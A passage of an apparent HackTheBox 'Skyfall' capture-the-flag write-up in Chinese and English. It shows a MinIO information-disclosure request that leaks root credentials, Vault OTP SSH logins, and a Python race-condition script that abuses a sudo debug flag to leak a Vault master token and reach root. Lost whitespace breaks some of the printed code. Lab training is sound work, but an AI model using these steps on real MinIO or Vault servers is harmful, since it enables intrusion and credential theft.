S3 operation failed; code: SignatureDoesNotMatch, message: The request signature we calculated does not match the signature you provided. Check your key and signing method., resource: /etc/passwd, request_id: 17B0E3A135462034, host_id: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855, bucket_name: etc, object_name: passwd
The vulnerability exists in the API endpoint http://your-ip:9000/minio/bootstrap/v1/verify. Use the POC mentioned above by sending the request to retrieve all environment variables.
If the vulnerability is present, the response will include all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD.
{"MinioEndpoints":[{"Legacy":false,"SetCount":1,"DrivesPerSet":4,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node1:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"minio-node2:9000","Path":"/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true}],"CmdLine":"http://minio-node{1...2}/data{1...2}","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public","MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off","MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
./vault ssh -role dev_otp_key_role -mode otp askyy@10.129.11.227 Vault could not locate "sshpass". The OTP code for the session is displayed below. Enter this code in the SSH password prompt. If you install sshpass, Vault can automatically perform this step for you. OTP for the session is: eae35cff-8ccb-e314-9d08-dfec810380aa (askyy@10.129.11.227) Password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64)
This system has been minimized by removing packages and content that are not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize'command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Feb 5 07:39:59 2024 from 10.10.16.2 askyy@skyfall:~$
密碼就是 eae35cff-8ccb-e314-9d08-dfec810380aa
0xFF Root - Patched
在沒有打補丁的版本中，只需要 touch debug.log 就有權限看裏面的内容。
1 2 3 4 5 6 7
askyy@skyfall:~$ sudo -l Matching Defaults entries for askyy on skyfall: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall: (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml [-vhd]* (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
看到有個debug功能，
1 2 3 4 5 6 7 8 9 10 11 12 13 14
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd [+] Reading: /etc/vault-unseal.yaml [-] Security Risk! [+] Found Vault node: http://prd23-vault-internal.skyfall.htb [>] Check interval: 5s [>] Max checks: 5 [>] Checking seal status [+] Vault sealed: false
askyy@skyfall:~$ rm debug.log rm: remove write-protected regular file 'debug.log'? y
askyy@skyfall:~$ touch debug.log
askyy@skyfall:~$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd [+] Reading: /etc/vault-unseal.yaml [-] Security Risk! [+] Found Vault node: http://prd23-vault-internal.skyfall.htb [>] Check interval: 5s [>] Max checks: 5 [>] Checking seal status [+] Vault sealed: false
askyy@skyfall:~$ cat debug.log 2024/02/05 08:17:17 Initializing logger... 2024/02/05 08:17:17 Reading: /etc/vault-unseal.yaml 2024/02/05 08:17:17 Security Risk! 2024/02/05 08:17:17 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG 2024/02/05 08:17:17 Found Vault node: http://prd23-vault-internal.skyfall.htb 2024/02/05 08:17:17 Check interval: 5s 2024/02/05 08:17:17 Max checks: 5 2024/02/05 08:17:17 Establishing connection to Vault... 2024/02/05 08:17:17 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb 2024/02/05 08:17:17 Checking seal status 2024/02/05 08:17:17 Vault sealed: false
0x5 Root - Get the Root token again
補丁后的版本，sudo -l 沒有什麽變化
1 2 3 4 5 6 7
askyy@skyfall:~$ sudo -l Matching Defaults entries for askyy on skyfall: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User askyy may run the following commands on skyfall: (ALL : ALL) NOPASSWD: /root/vault/vault-unseal ^-c /etc/vault-unseal.yaml -[vhd]+$ (ALL : ALL) NOPASSWD: /root/vault/vault-unseal -c /etc/vault-unseal.yaml
print("[*] power by @manesec :P") print(' - if show "Permission denied" just run again :S') print(' - exp it can let you to "cat debug.log"')
# run process for 2 seconds ... defthr_run(): print("[*] Thread created, 2 seconds to run ...") time.sleep(2) os.system("sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd")
threading.Thread(target=thr_run).start()
# touch debug.log ifnot (os.path.exists("/home/askyy/debug.log")): print("[*] Create debug.log, just help for detection") f = open("/home/askyy/debug.log","a") f.write("** mane testing **\n") f.close()
# Exploit whileTrue: ifnot (os.path.exists("/home/askyy/debug.log")): print("[*] Detected !!!") try: os.remove("/home/askyy/debug.log") except: pass f = open("/home/askyy/debug.log","a") f.write("** mane testing **\n") f.close() print("[!] Success to write files!!") break
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for authentication. In the future, you will need to tell Vault which role to use. For now, Vault will attempt to guess based on the API response. This will be removed in the Vault 1.1. Error choosing role: Roles: "admin_otp_key_role, dev_otp_key_role". Multiple roles are registered for this IP. Select a role using '-role' option. Note that all roles may not be permitted, based on ACLs.
Vault could not locate "sshpass". The OTP code for the session is displayed below. Enter this code in the SSH password prompt. If you install sshpass, Vault can automatically perform this step for you. OTP for the session is: 30e1361a-10c3-d404-e923-5f283bc3baf7 (root@10.129.11.227) Password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-92-generic x86_64)
This system has been minimized by removing packages and content that are not required on a system that usersdo not log into.
To restore this content, you can run the 'unminimize'command. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Feb 5 08:11:24 2024 from 10.10.16.2 root@skyfall:~#
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
